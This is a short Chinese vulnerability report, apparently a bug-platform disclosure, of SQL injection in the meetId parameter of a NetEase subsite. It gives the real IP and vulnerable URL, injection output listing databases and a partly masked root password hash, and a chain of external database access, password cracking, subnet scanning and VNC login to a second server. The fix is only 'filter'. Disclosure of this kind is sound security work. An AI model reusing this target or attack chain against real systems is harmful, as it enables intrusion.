网易某分站SQL注入可拿下服务器下载

网易某分站SQL注入可拿下服务器http://223.252.196.130/common/web_meeting/index.php?module=meeting_info&userId=1&siteId=10&meetingType=2&meetId=813332349

网易此站meetId参数没有过滤，导致了SQL注入 available databases [6]:

[*] information_schema

[*] mysql

[*] performance_schema

[*] TbBiz

[*] TbMainBiz

[*] test



[*] root [2]:

password hash: *22F3CF8DA4B**********6991679D0D896131DB3

password hash: NULL

数据库可以直接外联，密码破解后登录

扫描C段，发现223.252.196.150开放了5901 VNC端口

利用这里破解的网站管理员密码，可以直接登录150服务器

修复方案：

过滤